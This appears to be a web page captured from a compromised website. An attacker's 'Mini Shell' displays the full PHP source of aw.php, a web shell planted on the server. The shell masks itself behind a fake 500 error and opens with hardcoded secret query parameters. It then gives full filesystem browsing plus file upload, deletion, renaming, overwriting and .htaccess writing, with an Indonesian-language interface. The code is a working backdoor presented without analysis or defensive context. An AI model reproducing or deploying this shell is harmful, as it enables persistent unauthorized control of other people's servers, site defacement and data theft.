HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /var/www/devs.lapieza.net/
Upload File :
Current File : //var/www/devs.lapieza.net/aw.php
<?php
error_reporting(0);
set_time_limit(0);
ini_set('display_errors', 0);
header("X-Requested-With: XMLHttpRequest");
header("Cache-Control: no-cache, no-store, must-revalidate");

session_start();

if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

$access_key = "knock";
$username_key = "zer0";

if (!isset($_SESSION['access_granted'])) {
    if (!isset($_GET['knock']) || !isset($_GET['iam']) || $_GET['knock'] !== $access_key || $_GET['iam'] !== $username_key) {
        http_response_code(500);
        die("<h1>500 Internal Server Error</h1><p>Unexpected error occurred.</p>");
    }
    $_SESSION['access_granted'] = true;
}

$path = isset($_GET['dir']) ? realpath(base64_decode($_GET['dir'])) : getcwd();
if (!$path) {
    $path = DIRECTORY_SEPARATOR;
}

function formatSize($size) {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = 0;
    while ($size >= 1024 && $i < 4) {
        $size /= 1024;
        $i++;
    }
    return round($size, 2) . " " . $units[$i];
}

function breadcrumbs($path) {
    $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
    $breadcrumb = "<a href='?dir=" . base64_encode(DIRECTORY_SEPARATOR) . "'>Root</a>";
    $currentPath = DIRECTORY_SEPARATOR;

    foreach ($parts as $part) {
        if ($part == "") continue;
        $currentPath .= $part . DIRECTORY_SEPARATOR;
        $breadcrumb .= " / <a href='?dir=" . base64_encode($currentPath) . "'>$part</a>";
    }

    return $breadcrumb;
}

if (isset($_FILES['upld'])) {
    $uploadDir = $path . DIRECTORY_SEPARATOR;
    $uploadFile = $uploadDir . basename($_FILES['upld']['name']);

    if (move_uploaded_file($_FILES['upld']['tmp_name'], $uploadFile)) {
        echo "<p>File berhasil diupload: <a href='" . htmlspecialchars($_FILES['upld']['name']) . "' target='_blank'>" . htmlspecialchars($_FILES['upld']['name']) . "</a></p>";
    } else {
        echo "<p>Gagal mengupload file.</p>";
    }
}

if (isset($_GET['del'])) {
    $target = realpath($path . DIRECTORY_SEPARATOR . base64_decode($_GET['del']));
    if (is_dir($target)) {
        rmdir($target);
    } else {
        unlink($target);
    }
    header("Location: ?dir=" . base64_encode($path));
    exit;
}

if (isset($_POST['chg'])) {
    $oldName = $path . DIRECTORY_SEPARATOR . base64_decode($_POST['old_name']);
    $newName = $path . DIRECTORY_SEPARATOR . trim($_POST['new_name']);
    
    if (file_exists($oldName)) {
        rename($oldName, $newName);
    }
    
    header("Location: ?dir=" . base64_encode($path));
    exit;
}

if (isset($_POST['mod'])) {
    $file = realpath($path . DIRECTORY_SEPARATOR . base64_decode($_POST['file']));
    safeWrite($file, $_POST['content']);
    header("Location: ?dir=" . base64_encode($path));
    exit;
}

function safeWrite($file, $content) {
    $f = fopen($file, "w");
    fwrite($f, $content);
    fclose($f);
}

$items = scandir($path);

$folders = [];
$files = [];

if (isset($_POST['create_htaccess'])) {
    $htaccess_path = $path . DIRECTORY_SEPARATOR . ".htaccess";
    $option = $_POST['htaccess_option'];
    $custom_input = trim($_POST['custom_input']);
    $content = "";

    switch ($option) {
        case "allow_specific_file":
            if (!empty($custom_input)) {
                $content = "RewriteEngine On\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteRule !^(" . preg_quote($custom_input, "/") . ")$ - [F,NC]";
            } else {
                echo "<p style='color:red;'>Masukkan nama file yang diizinkan!</p>";
                exit;
            }
            break;
        case "directory_index":
            if (!empty($custom_input)) {
                $content = "DirectoryIndex " . $custom_input;
            } else {
                echo "<p style='color:red;'>Masukkan nama file untuk DirectoryIndex!</p>";
                exit;
            }
            break;
    }

    if (file_exists($htaccess_path)) {
        file_put_contents($htaccess_path, "\n\n" . $content, FILE_APPEND);
        echo "<p style='color:green;'>Aturan .htaccess telah ditambahkan!</p>";
    } else {
        file_put_contents($htaccess_path, $content);
        echo "<p style='color:green;'>File .htaccess berhasil dibuat!</p>";
    }
}

if (isset($_POST['create_folder'])) {
    $newFolder = trim($_POST['folder_name']);
    $newPath = $path . DIRECTORY_SEPARATOR . $newFolder;

    if (preg_match('/[^a-zA-Z0-9-_ ]/', $newFolder)) {
        echo "<p style='color:red;'>Nama folder tidak boleh mengandung karakter khusus!</p>";
    } elseif (empty($newFolder)) {
        echo "<p style='color:red;'>Nama folder tidak boleh kosong!</p>";
    } elseif (file_exists($newPath)) {
        echo "<p style='color:red;'>Folder sudah ada!</p>";
    } else {
        mkdir($newPath, 0777, true);
        echo "<p style='color:green;'>Folder berhasil dibuat!</p>";
    }
}

foreach ($items as $item) {
    if ($item == '.' || $item == '..') continue;
    $filePath = $path . DIRECTORY_SEPARATOR . $item;
    if (is_dir($filePath)) {
        $folders[] = $item;
    } else {
        $files[] = $item;
    }
}

sort($folders, SORT_NATURAL | SORT_FLAG_CASE);
sort($files, SORT_NATURAL | SORT_FLAG_CASE);
?>

<!DOCTYPE html>
<html>
<head>
    <title>File Manager</title>
    <style>
body {
    font-family: Arial, sans-serif;
    margin: 20px;
    text-align: center;
    background-color: #f4f4f4;
}

h2 {
    display: flex;
    justify-content: space-between;
    align-items: center;
    border-bottom: 3px solid #333;
    padding-bottom: 10px;
    font-size: 24px;
    color: #333;
}

table {
    width: 100%;
    border-collapse: collapse;
    margin-top: 20px;
    background: #fff;
    border-radius: 8px;
    overflow: hidden;
    box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}

th, td {
    border: 1px solid #ddd;
    padding: 12px;
    text-align: left;
}

th {
    background-color: #007bff;
    color: white;
    text-transform: uppercase;
}

tr:nth-child(even) {
    background-color: #f9f9f9;
}

tr:hover {
    background-color: #e3f2fd;
}

input[type="text"], textarea {
    width: 100%;
    padding: 12px;
    border: 2px solid #ccc;
    border-radius: 8px;
    transition: 0.3s;
    background-color: #f8f9fa;
    color: #333;
    font-size: 16px;
    font-family: 'Arial', sans-serif;
}

input[type="text"]:focus, textarea:focus {
    border-color: #007bff;
    background-color: #ffffff;
    outline: none;
    box-shadow: 0 0 10px rgba(0, 123, 255, 0.3);
}

input[type="submit"], button {
    cursor: pointer;
    padding: 10px 15px;
    border: none;
    border-radius: 8px;
    background-color: #007bff;
    color: white;
    font-size: 16px;
    font-weight: bold;
    transition: 0.3s;
}

input[type="submit"]:hover, button:hover {
    background-color: #0056b3;
    transform: scale(1.05);
}

a {
    text-decoration: none;
    color: #007bff;
    font-weight: bold;
    transition: 0.3s;
}

a:hover {
    color: #0056b3;
    text-decoration: underline;
}

.footer {
    margin-top: 30px;
    font-size: 14px;
    color: gray;
}

.form-box {
    padding: 25px;
    margin: 20px auto;
    width: 90%;
    max-width: 600px;
    border-radius: 12px;
    box-shadow: 0 0 15px rgba(0, 0, 0, 0.15);
    text-align: center;
}

.form-box h3 {
    margin-bottom: 20px;
    color: #333;
    font-size: 20px;
}

.textarea-box {
    width: 100%;
    min-height: 180px;
    padding: 12px;
    border: 2px solid #ddd;
    border-radius: 8px;
    resize: vertical;
    font-size: 16px;
    background-color: #f8f9fa;
    color: #333;
    box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1);
}

.textarea-box:focus {
    border-color: #007bff;
    background-color: #ffffff;
    outline: none;
    box-shadow: 0 0 10px rgba(0, 123, 255, 0.3);
}

.hidden-input {
    display: none;
    margin-top: 10px;
}

.folder-form, .upload-form {
    display: flex;
    gap: 10px;
    align-items: center;
    justify-content: space-between;
    max-width: 500px;
    margin: auto;
}

.folder-form input[type="text"], .upload-form input[type="file"] {
    flex: 1;
    padding: 10px;
    border: 2px solid #ddd;
    border-radius: 5px;
    transition: 0.3s;
}

.folder-form input[type="text"]:focus, .upload-form input[type="file"]:focus {
    border-color: #007bff;
    outline: none;
}

.folder-form input[type="submit"], .upload-form input[type="submit"] {
    padding: 10px 15px;
    border: none;
    border-radius: 8px;
    background-color: #28a745;
    color: white;
    font-size: 16px;
    transition: 0.3s;
    cursor: pointer;
}

.folder-form input[type="submit"]:hover, .upload-form input[type="submit"]:hover {
    background-color: #218838;
}

@media (max-width: 600px) {
    .folder-form, .upload-form {
        flex-direction: column;
        gap: 5px;
    }

    .folder-form input[type="text"],
    .upload-form input[type="file"],
    .folder-form input[type="submit"],
    .upload-form input[type="submit"] {
        width: 100%;
    }

    table {
        font-size: 14px;
    }

    th, td {
        padding: 8px;
    }

    .form-box {
        width: 95%;
    }

    .textarea-box {
        font-size: 14px;
        padding: 10px;
    }

    .form-box input[type="submit"] {
        font-size: 16px;
    }
}
    </style>
    <script>
function toggleInput(id) {
    var element = document.getElementById(id);
    if (element.style.display === "none" || element.style.display === "") {
        element.style.display = "block";
    } else {
        element.style.display = "none";
    }
}
</script>
</head>
<body>
    <h2>
        <span>File Manager</span>
        
<div class="action-buttons">
    <button onclick="toggleInput('folder-input')">CREATE FOLDER</button>
    <button onclick="toggleInput('upload-input')">UPLOADER</button>
    <button onclick="toggleInput('htaccess-form')">HTACCESS MAKER</button>
</div>

<div id="htaccess-form" class="hidden-input">
    <form method="post">
        <select name="htaccess_option">
            <option value="allow_specific_file">Hanya Izinkan Akses ke File Tertentu</option>
            <option value="directory_index">Set Halaman Default (DirectoryIndex)</option>
        </select>
        <input type="text" name="custom_input" placeholder="Masukkan nama file" required>
        <input type="submit" name="create_htaccess" value="Buat .htaccess">
    </form>
</div>
<div id="folder-input" class="hidden-input">
    <form method="post">
        <input type="text" name="folder_name" placeholder="Masukkan nama folder" required>
        <input type="submit" name="create_folder" value="Buat Folder">
    </form>
</div>

<div id="upload-input" class="hidden-input">
    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="upld">
        <input type="submit" value="Upload">
    </form>
</div>
    </h2>
    <div style="text-align: right; margin-bottom: 15px;">
    <a href="?logout=true" style="
        background-color: red;
        color: white;
        padding: 8px 15px;
        text-decoration: none;
        font-size: 16px;
        font-weight: bold;
        border-radius: 5px;
        transition: 0.3s;
    " onmouseover="this.style.backgroundColor='#c9302c'"
      onmouseout="this.style.backgroundColor='red'">
        Logout
    </a>
</div>
    <p><?php echo breadcrumbs($path); ?></p>
    
    <table>
        <tr>
            <th>Name</th>
            <th>Size</th>
            <th>Type</th>
            <th>Actions</th>
        </tr>

        <?php foreach ($folders as $folder): ?>
        <tr>
            <td><a href="?dir=<?php echo base64_encode($path . DIRECTORY_SEPARATOR . $folder); ?>"><?php echo $folder; ?></a></td>
            <td>-</td>
            <td>Folder</td>
            <td>
                <a href="?chg=<?php echo base64_encode($folder); ?>&dir=<?php echo base64_encode($path); ?>">RENAME</a> |
    <a href="?del=<?= base64_encode($folder); ?>&dir=<?= base64_encode($path); ?>" onclick="return confirm('Hapus folder ini?');">DELETE</a>
            </td>
        </tr>
        <?php endforeach; ?>

        <?php foreach ($files as $file): ?>
        <tr>
            <td><?php echo $file; ?></td>
            <td><?php echo formatSize(filesize($path . DIRECTORY_SEPARATOR . $file)); ?></td>
            <td>File</td>
            <td>
                <a href="?mod=<?php echo base64_encode($file); ?>&dir=<?php echo base64_encode($path); ?>">EDIT</a> |
                <a href="?chg=<?php echo base64_encode($file); ?>&dir=<?php echo base64_encode($path); ?>">RENAME</a> |
    <a href="?del=<?= base64_encode($file); ?>&dir=<?= base64_encode($path); ?>" onclick="return confirm('Hapus file ini?');">DELETE</a>
                <?php if (pathinfo($file, PATHINFO_EXTENSION) == "php"): ?>
                    | <a href="<?php echo htmlspecialchars($file); ?>" target="_blank">OPEN</a>
                <?php endif; ?>
            </td>
        </tr>
        <?php endforeach; ?>
    </table>
   

<?php if (isset($_GET['mod'])): ?>
<div class="form-box">
    <h3>Edit File: <?php echo htmlspecialchars(base64_decode($_GET['mod'])); ?></h3>
    <form method="post">
        <textarea class="textarea-box" name="content" rows="15"><?php echo htmlspecialchars(file_get_contents($path . DIRECTORY_SEPARATOR . base64_decode($_GET['mod']))); ?></textarea><br>
        <input type="hidden" name="file" value="<?php echo $_GET['mod']; ?>">
        <input type="submit" name="mod" value="Save">
    </form>
</div>
<?php endif; ?>

<?php if (isset($_GET['chg'])): ?>
<div class="form-box">
    <h3>Rename: <?php echo htmlspecialchars(base64_decode($_GET['chg'])); ?></h3>
    <form method="post">
        <textarea class="textarea-box" name="new_name"><?php echo htmlspecialchars(base64_decode($_GET['chg'])); ?></textarea><br>
        <input type="hidden" name="old_name" value="<?php echo $_GET['chg']; ?>">
        <input type="submit" name="chg" value="Rename">
    </form>
</div>
<?php endif; ?>

    <div class="footer">
        &copy; 2025 | PaulIntern | B4DFM
    </div>
</body>
</html>